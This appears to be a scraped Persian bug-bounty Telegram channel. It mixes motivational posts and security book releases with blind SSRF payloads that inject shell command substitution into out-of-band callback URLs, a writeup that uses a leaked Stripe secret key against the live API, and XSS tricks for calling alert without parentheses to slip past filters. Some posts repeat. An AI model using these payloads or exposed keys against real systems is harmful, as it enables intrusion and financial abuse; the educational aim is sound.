توی تست های blind ssrf شما جواب رو به صورت مستقیم نمیتونید ببینید باید از یه سرویس out of band کمک بگیرید تا بفهمید آیا سرور درخواست شما رو اجرا کرده یا نه.
برای دریافت پاسخ های out of band میتونید از
استفاده کنید.
این سه تا دستور رو توی تست های blind ssrf بیارید. میتونید باهاش دستورات سیستم عاملی اجرا کنید.
Text Payloads:
در نهایت باید پیلودتون شبیه به این باشه
Text Payloads:
کافیه این آدرس رو توی هر ورودی که مشکوک به ssrf هست بزنید و منتظر باشید در صورت آسیب پذیر بودن پاسخ توی داشبورد interactsh نمایش داده بشه
حالا یه سوال اگر waf به کلمه whoami یا کاراکتر هایی که داره باهاش ارسال میشه حساس باشه و درخواست رو بلاک کنه راهی برای دور زدنش هست؟
برای دریافت پاسخ های out of band میتونید از
https://app.interactsh.com
استفاده کنید.
این سه تا دستور رو توی تست های blind ssrf بیارید. میتونید باهاش دستورات سیستم عاملی اجرا کنید.
Text Payloads:
`whoami`
$(whoami)
${USER}
در نهایت باید پیلودتون شبیه به این باشه
Text Payloads:
https://`whoami`.wovpawxjsgngqywkn[.]oast[.]fun
https://$(whoami).wovpawxjsgngqywkn.oast.fun
https://${USER}.wovpawxjsgngqywkn.oast.fun
کافیه این آدرس رو توی هر ورودی که مشکوک به ssrf هست بزنید و منتظر باشید در صورت آسیب پذیر بودن پاسخ توی داشبورد interactsh نمایش داده بشه
حالا یه سوال اگر waf به کلمه whoami یا کاراکتر هایی که داره باهاش ارسال میشه حساس باشه و درخواست رو بلاک کنه راهی برای دور زدنش هست؟
👍9
ذهنیت مورچهای و زنبور عسلی: راهنمای عملگرا شدن
فرانسیس بیکن، فیلسوف معروف، دو نوع ذهنیت رو مقابل هم قرار میده:
1. ذهنیت مورچهای (گردآورندهی منفعل)
مثل مورچهای که دانه جمع میکنه و انبارش رو پر میکنه، اما هیچوقت از ذخیرهاش استفاده نمیکنه. این ذهن فقط اطلاعات رو جمعآوری میکنه، بدون اینکه بهشون معنا بده یا به کارشون ببره.
2. ذهنیت زنبور عسلی (خلاق و تحولآفرین)
مثل زنبور عسلی که شهد گلها رو جمع میکنه، پردازش میکنه و به عسل شیرین تبدیلشون میکنه. این ذهن دانش رو نهتنها جذب میکنه، بلکه با تحلیل، اجرا و آموزش به دیگران، اون رو به حکمت و دستاورد تبدیل میکنه.
عملگرا بودن یعنی چی؟
عملگرا بودن یعنی اینکه فقط به جمعآوری دانش بسنده نکنی، بلکه قدمی برداری و آموختههات رو توی دنیای واقعی پیاده کنی. یه ذهن زنبور عسلی، دانش رو میگیره، تحلیل میکنه، ایدههاش رو تست میکنه و حتی از شکستهاش درس میگیره. مثلاً، یه کارآفرین عملگرا کتابهای مدیریت رو میخونه، اما بهجای گیر کردن توی جزئیات، یه ایدهی ساده رو اجرا میکنه، بازخورد میگیره و بهترش میکنه. یا یه معلم عملگرا، بهجای فقط درس دادن، دانشآموزاش رو تشویق میکنه آموختههاشون رو توی پروژههای واقعی به کار ببرن.
چرا بعضیها فقط جمعآوری میکنن و عملگرا نیستن؟
بعضیها توی تلهی ذهنیت مورچهای میافتن چون:
ترس از شکست: فکر میکنن باید "کامل" باشن تا شروع کنن. مثلاً، میخوان یه کسبوکار راه بندازن، اما تا همهچیز "آماده" نباشه، دست به کار نمیشن.
اطلاعات بیش از حد: غرق اطلاعات میشن و نمیتونن تصمیم بگیرن از کجا شروع کنن. مثلاً، دهها کتاب و دوره آموزشی میخونن و میبینن، اما فلج تحلیلی میشن.
کمبود اعتمادبهنفس: فکر میکنن دانششون کافی نیست یا خودشون بهاندازهی کافی خوب نیستن.
عادت به انفعال: جمعآوری اطلاعات براشون یه جور احساس امنیت میده، چون حس میکنن دارن "پیشرفت" میکنن، بدون اینکه ریسک کنن.
مثال واقعی:
فکر کن دو نفر میخوان برنامهنویسی یاد بگیرن. نفر اول کلی آموزش آنلاین میبینه، کتاب میخونه و یادداشتبرداری میکنه، اما هیچوقت کدی نمینویسه چون "هنوز آماده نیست". نفر دوم هم آموزش میبینه، اما همزمان یه پروژهی ساده مثل یه ماشینحساب درست میکنه، باگهاش رو برطرف میکنه و کمکم پروژههای بزرگتر میسازه. اولی یه انبار دانشه، دومی یه برنامهنویس واقعیه.
یه راهحل ساده برای شروع عملگرا بودن
برای اینکه از ذهنیت مورچهای به زنبور عسلی برسی، از قانون 1-1-1 استفاده کن:
یه چیز کوچک یاد بگیر: بهجای غرق شدن توی اطلاعات، یه موضوع یا مهارت ساده انتخاب کن (مثلاً یه تابع ساده در برنامهنویسی یا یه تکنیک بازاریابی).
یه قدم کوچک بردار: یه پروژهی کوچیک با همون دانش شروع کن. مثلاً اگه داری بازاریابی یاد میگیری، یه پست ساده برای شبکههای اجتماعی بنویس و منتشر کن.
یه نتیجه کوچک بگیر: بازخورد کار رو بررسی کن. اگه جواب داد، ادامه بده. اگه نه، یه درس جدید یاد بگیر و دوباره امتحان کن.
مثال عملی: اگه میخوای نویسنده بشی، بهجای خوندن دهها کتاب درباره نویسندگی، امروز یه پاراگراف بنویس، فردا یه پست وبلاگ کوتاه منتشر کن و بازخوردش رو از دوستات بگیر. این چرخهی کوچک تو رو از انبار کردن دانش به خلق کردن و تأثیر گذاشتن میرسونه.
فرانسیس بیکن، فیلسوف معروف، دو نوع ذهنیت رو مقابل هم قرار میده:
1. ذهنیت مورچهای (گردآورندهی منفعل)
مثل مورچهای که دانه جمع میکنه و انبارش رو پر میکنه، اما هیچوقت از ذخیرهاش استفاده نمیکنه. این ذهن فقط اطلاعات رو جمعآوری میکنه، بدون اینکه بهشون معنا بده یا به کارشون ببره.
2. ذهنیت زنبور عسلی (خلاق و تحولآفرین)
مثل زنبور عسلی که شهد گلها رو جمع میکنه، پردازش میکنه و به عسل شیرین تبدیلشون میکنه. این ذهن دانش رو نهتنها جذب میکنه، بلکه با تحلیل، اجرا و آموزش به دیگران، اون رو به حکمت و دستاورد تبدیل میکنه.
عملگرا بودن یعنی چی؟
عملگرا بودن یعنی اینکه فقط به جمعآوری دانش بسنده نکنی، بلکه قدمی برداری و آموختههات رو توی دنیای واقعی پیاده کنی. یه ذهن زنبور عسلی، دانش رو میگیره، تحلیل میکنه، ایدههاش رو تست میکنه و حتی از شکستهاش درس میگیره. مثلاً، یه کارآفرین عملگرا کتابهای مدیریت رو میخونه، اما بهجای گیر کردن توی جزئیات، یه ایدهی ساده رو اجرا میکنه، بازخورد میگیره و بهترش میکنه. یا یه معلم عملگرا، بهجای فقط درس دادن، دانشآموزاش رو تشویق میکنه آموختههاشون رو توی پروژههای واقعی به کار ببرن.
چرا بعضیها فقط جمعآوری میکنن و عملگرا نیستن؟
بعضیها توی تلهی ذهنیت مورچهای میافتن چون:
ترس از شکست: فکر میکنن باید "کامل" باشن تا شروع کنن. مثلاً، میخوان یه کسبوکار راه بندازن، اما تا همهچیز "آماده" نباشه، دست به کار نمیشن.
اطلاعات بیش از حد: غرق اطلاعات میشن و نمیتونن تصمیم بگیرن از کجا شروع کنن. مثلاً، دهها کتاب و دوره آموزشی میخونن و میبینن، اما فلج تحلیلی میشن.
کمبود اعتمادبهنفس: فکر میکنن دانششون کافی نیست یا خودشون بهاندازهی کافی خوب نیستن.
عادت به انفعال: جمعآوری اطلاعات براشون یه جور احساس امنیت میده، چون حس میکنن دارن "پیشرفت" میکنن، بدون اینکه ریسک کنن.
مثال واقعی:
فکر کن دو نفر میخوان برنامهنویسی یاد بگیرن. نفر اول کلی آموزش آنلاین میبینه، کتاب میخونه و یادداشتبرداری میکنه، اما هیچوقت کدی نمینویسه چون "هنوز آماده نیست". نفر دوم هم آموزش میبینه، اما همزمان یه پروژهی ساده مثل یه ماشینحساب درست میکنه، باگهاش رو برطرف میکنه و کمکم پروژههای بزرگتر میسازه. اولی یه انبار دانشه، دومی یه برنامهنویس واقعیه.
یه راهحل ساده برای شروع عملگرا بودن
برای اینکه از ذهنیت مورچهای به زنبور عسلی برسی، از قانون 1-1-1 استفاده کن:
یه چیز کوچک یاد بگیر: بهجای غرق شدن توی اطلاعات، یه موضوع یا مهارت ساده انتخاب کن (مثلاً یه تابع ساده در برنامهنویسی یا یه تکنیک بازاریابی).
یه قدم کوچک بردار: یه پروژهی کوچیک با همون دانش شروع کن. مثلاً اگه داری بازاریابی یاد میگیری، یه پست ساده برای شبکههای اجتماعی بنویس و منتشر کن.
یه نتیجه کوچک بگیر: بازخورد کار رو بررسی کن. اگه جواب داد، ادامه بده. اگه نه، یه درس جدید یاد بگیر و دوباره امتحان کن.
مثال عملی: اگه میخوای نویسنده بشی، بهجای خوندن دهها کتاب درباره نویسندگی، امروز یه پاراگراف بنویس، فردا یه پست وبلاگ کوتاه منتشر کن و بازخوردش رو از دوستات بگیر. این چرخهی کوچک تو رو از انبار کردن دانش به خلق کردن و تأثیر گذاشتن میرسونه.
❤25👍2🔥2
BugBountyBootcamp_Persian.pdf
14 MB
🔥54❤10👏4🥰2
چند وقت پیش با حمید کشفی یه صحبت داشتم یه توصیهای که داشت رو با شما به اشتراک میزارمش :
بهترین دوره، خوندن کتاب و مقاله های بروز هست و عادت کردن به اینکه خودت
دنبال یادگیری مطالب بصورت مستقل باشی.
حمید یه رودمپ جامع هم برای یادگیری بخش های مختلف امنیت داره که توی این لینک میتونید ببینیدش.
بهترین دوره، خوندن کتاب و مقاله های بروز هست و عادت کردن به اینکه خودت
دنبال یادگیری مطالب بصورت مستقل باشی.
حمید یه رودمپ جامع هم برای یادگیری بخش های مختلف امنیت داره که توی این لینک میتونید ببینیدش.
GitHub
bookmarks/Learn-Security-Materials.md at main · Hamid-K/bookmarks
A personal list of various resources for those who are interested in learning about infosec and hacking and keeping themselves up to date. This is by no means a complete nor fresh list, but I occas...
👍22❤8🤮8👏3👎1
This media is not supported in your browser
VIEW IN TELEGRAM
internal screaming it’s gonna be ok i think, just trying to ride the wave.
❤13👍1😢1
این ویدیو سال ۲۰۱۵ ضبط شده، عنوان ویدیو چگونه هکر شویم هست.
پیشنهاد میکنم حتما ببینیدش، جمله طلایی ویدیو به نظرم این هست:
هکر بودن یعنی خودآموز بودن
پیشنهاد میکنم حتما ببینیدش، جمله طلایی ویدیو به نظرم این هست:
هکر بودن یعنی خودآموز بودن
❤18
درود به همگی کتاب تموم شد خداروشکر
- برای فهم بیشتر یه سری بخش ها و توضیحات بیشتری به متن اصلی اضافه شده
- اضاف شدن بیش از ۷۰ مثال
- اضافه شدن تفکر خارج از چارچوب
- اضافه شدن مثال های واقعی برای درک بهتر هر بخش
یه سری ایده ها توی کتاب هست که باید به مرحله ی اجرایی برسه توسط خودتون. نویسنده کتاب یه سری بخش هارو فقط تئوری توضیح داده.
- برای فهم بیشتر یه سری بخش ها و توضیحات بیشتری به متن اصلی اضافه شده
- اضاف شدن بیش از ۷۰ مثال
- اضافه شدن تفکر خارج از چارچوب
- اضافه شدن مثال های واقعی برای درک بهتر هر بخش
یه سری ایده ها توی کتاب هست که باید به مرحله ی اجرایی برسه توسط خودتون. نویسنده کتاب یه سری بخش هارو فقط تئوری توضیح داده.
❤40❤🔥3🔥2
Web Application Security-Persian.pdf
9.7 MB
❤100🔥8🕊1🍾1
این کتاب کاملاً رایگان هست و هیچ قیمتی براش نذاشتم. اما اگه دوست داشتید از من حمایت کنید، میتونید از این لینک استفاده کنید:
https://daramet.com/web_articles
همچنین میتونید با به اشتراک گذاشتن کتاب، کمک کنید که بیشتر دیده بشه.
https://daramet.com/web_articles
همچنین میتونید با به اشتراک گذاشتن کتاب، کمک کنید که بیشتر دیده بشه.
Daramet
درگاه حمایت مالی دارمت
درگاه حمایت مالی دارمت به شما کمک میکنه از مخاطب ها، دنبال کنندهها و طرفدارات با امکانات گسترده دونیت دریافت کنی.
❤53👏5⚡2🔥1🕊1🆒1
به نظرتون نقش جاوا اسکریپت برای کسی که با امنیت وب اپلیکیشنها سروکار داره چیه؟
Anonymous Poll
78%
از نون شب واجب تره
3%
کیکه
5%
جاوا اسکریپت کوچیک شده جاوا هست
13%
من یه پرندم آرزو دارم
❤1
بیایید اول از همه یه نگاه به فایل های js بندازیم ببینم این فایل ها برای هانترا و پنتسترا چی دارن و چطوری یه هانتر تونسته ۲۵ هزار دلار 💵 از یه فایل js بدست بیاره.
اگه یه نگاه به این رایتاپ بندازیم (اینجا میتونید بخونیدش)، متوجه میشیم با یه معدن طلا طرفیم.
یه محقق امنیتی به اسم Matthew داشته روی یه شرکت هانت میکرده. رفته سراغ فایلهای JS و دیده که فایلهای جاوااسکریپتشون minified شدن. حالا minified یعنی چی؟ یعنی کد رو فشرده کردن کامنتها رو حذف کردن، اسم متغیرها رو کوتاه کردن و کلاً خوندن این کدها یه کم سختتره.
یه چیز دیگه توی جاوااسکریپت داریم به اسم Source Map. این چیه؟ سورس مپ یه فایل جداگونهست که مثل یه نقشه راهنما عمل میکنه و به مرورگر میگه هر خط از کد فشردهشده (minified) تو کد اصلی کجا بوده. این برای دیباگ کردن خیلی به درد میخوره، چون برنامهنویس میتونه راحتتر باگها رو پیدا کنه.
اما مشکل کجاست؟ اگه برنامهنویس حواسش نباشه و توی کد اصلی اطلاعاتی مثل کلیدهای API، رمز عبور یا اطلاعات حساس دیگه بذاره، این سورس مپ میتونه همه اینا رو لو بده یعنی هرکی به سورس مپ دسترسی پیدا کنه، میتونه این اطلاعات محرمانه رو ببینه. حالا بعضی وقتا این فایلهای سورس مپ توی وب عمومی در دسترسن و میشه پیداشون کرد، ولی گاهی هم برنامهنویسها این فایلها رو از دسترس عمومی برمیدارن.
یه ابزار به اسم SourceMapper داریم که میتونه فایلهای minified رو به فرمت قابل خوندن تبدیل کنه. این محقق اومده با این دستور:
فایل جاوااسکریپت رو به فرمت قابل خوندن درآورده. بعدش شروع کرده به گشتن توی سورس و تونسته این اطلاعات حساس رو پیدا کنه:
خب حالا Stripe چیه؟ Stripe یه سرویس پرداخت آنلاینه که API خیلی ساده و قدرتمندی داره. با این API میشه موجودی حساب رو چک کرد، پرداخت انجام داد یا حتی پول رو به حساب دیگهای منتقل کرد.
این محقق با استفاده از کلید API که پیدا کرده، این دستور رو اجرا کرده تا موجودی حساب رو چک کنه:
و در نهایت با گزارش این باگ و کلید API لو رفته، تونسته ۲۵ هزار دلار جایزه بگیره
اگه یه نگاه به این رایتاپ بندازیم (اینجا میتونید بخونیدش)، متوجه میشیم با یه معدن طلا طرفیم.
یه محقق امنیتی به اسم Matthew داشته روی یه شرکت هانت میکرده. رفته سراغ فایلهای JS و دیده که فایلهای جاوااسکریپتشون minified شدن. حالا minified یعنی چی؟ یعنی کد رو فشرده کردن کامنتها رو حذف کردن، اسم متغیرها رو کوتاه کردن و کلاً خوندن این کدها یه کم سختتره.
یه چیز دیگه توی جاوااسکریپت داریم به اسم Source Map. این چیه؟ سورس مپ یه فایل جداگونهست که مثل یه نقشه راهنما عمل میکنه و به مرورگر میگه هر خط از کد فشردهشده (minified) تو کد اصلی کجا بوده. این برای دیباگ کردن خیلی به درد میخوره، چون برنامهنویس میتونه راحتتر باگها رو پیدا کنه.
اما مشکل کجاست؟ اگه برنامهنویس حواسش نباشه و توی کد اصلی اطلاعاتی مثل کلیدهای API، رمز عبور یا اطلاعات حساس دیگه بذاره، این سورس مپ میتونه همه اینا رو لو بده یعنی هرکی به سورس مپ دسترسی پیدا کنه، میتونه این اطلاعات محرمانه رو ببینه. حالا بعضی وقتا این فایلهای سورس مپ توی وب عمومی در دسترسن و میشه پیداشون کرد، ولی گاهی هم برنامهنویسها این فایلها رو از دسترس عمومی برمیدارن.
یه ابزار به اسم SourceMapper داریم که میتونه فایلهای minified رو به فرمت قابل خوندن تبدیل کنه. این محقق اومده با این دستور:
doi@asov:~$ ./sourcemapper -output dhubsrc -url https://hub.docker.com/public/js/client.356c14916fb23f85707f.js.map
فایل جاوااسکریپت رو به فرمت قابل خوندن درآورده. بعدش شروع کرده به گشتن توی سورس و تونسته این اطلاعات حساس رو پیدا کنه:
export const S0 = 'pk_live_[REDACTED]es33';
export const S1 = 'sk_live_[REDACTED]du8d';
export const STRIPE_HEADER_NAME = 'REDACTED';
export const CURRENCY = 'USD';
export const STRIPE_PAY_BUTTON = 'Pay for REDACTED';
خب حالا Stripe چیه؟ Stripe یه سرویس پرداخت آنلاینه که API خیلی ساده و قدرتمندی داره. با این API میشه موجودی حساب رو چک کرد، پرداخت انجام داد یا حتی پول رو به حساب دیگهای منتقل کرد.
این محقق با استفاده از کلید API که پیدا کرده، این دستور رو اجرا کرده تا موجودی حساب رو چک کنه:
❯ curl https://api.stripe.com/v1/balance -u sk_live_REDACTEDdu8d
{"object": "balance",
"available": [ {
"amount": 1761520.76,
"currency": "usd",
"source_types": {
"card": 0 } } ]
}
و در نهایت با گزارش این باگ و کلید API لو رفته، تونسته ۲۵ هزار دلار جایزه بگیره
www.prodefense.io
Little bug, Big impact. 25k bounty
Finding secret keys in JavaScript minified code to earn a $25,000 bug bounty.
❤40🔥8👍2
جاوا اسکریپت واقعا دنیایه بزرگی داره، کافیه تصمیم بگیری که تابع alert رو بدون پرانتز اجراش کنی میبینی کلی راه براش وجود داره.
مثلا:
اینم یه نمونه جالبتر:
حتی میتونیم ازFunction constructor استفاده کنیم:
این هم چند تا نمونه دیگه:
این ترفند ها فقط نوک کوه یخن 🗻
شما چه ترفند دیگه ای بلدین؟
مثلا:
alert`zarvan`
اینم یه نمونه جالبتر:
function replaceFn(str, regex, fn) { str.replace(regex, fn); } replaceFn("a", /./, alert)حتی میتونیم ازFunction constructor استفاده کنیم:
Function`alert\x281337\x29`()
این هم چند تا نمونه دیگه:
setTimeout`alert\x281337\x29`
setInterval`alert\x281337\x29`
`${alert(1337)}`Promise.reject(1337).catch(alert);
این ترفند ها فقط نوک کوه یخن 🗻
شما چه ترفند دیگه ای بلدین؟
❤29🔥6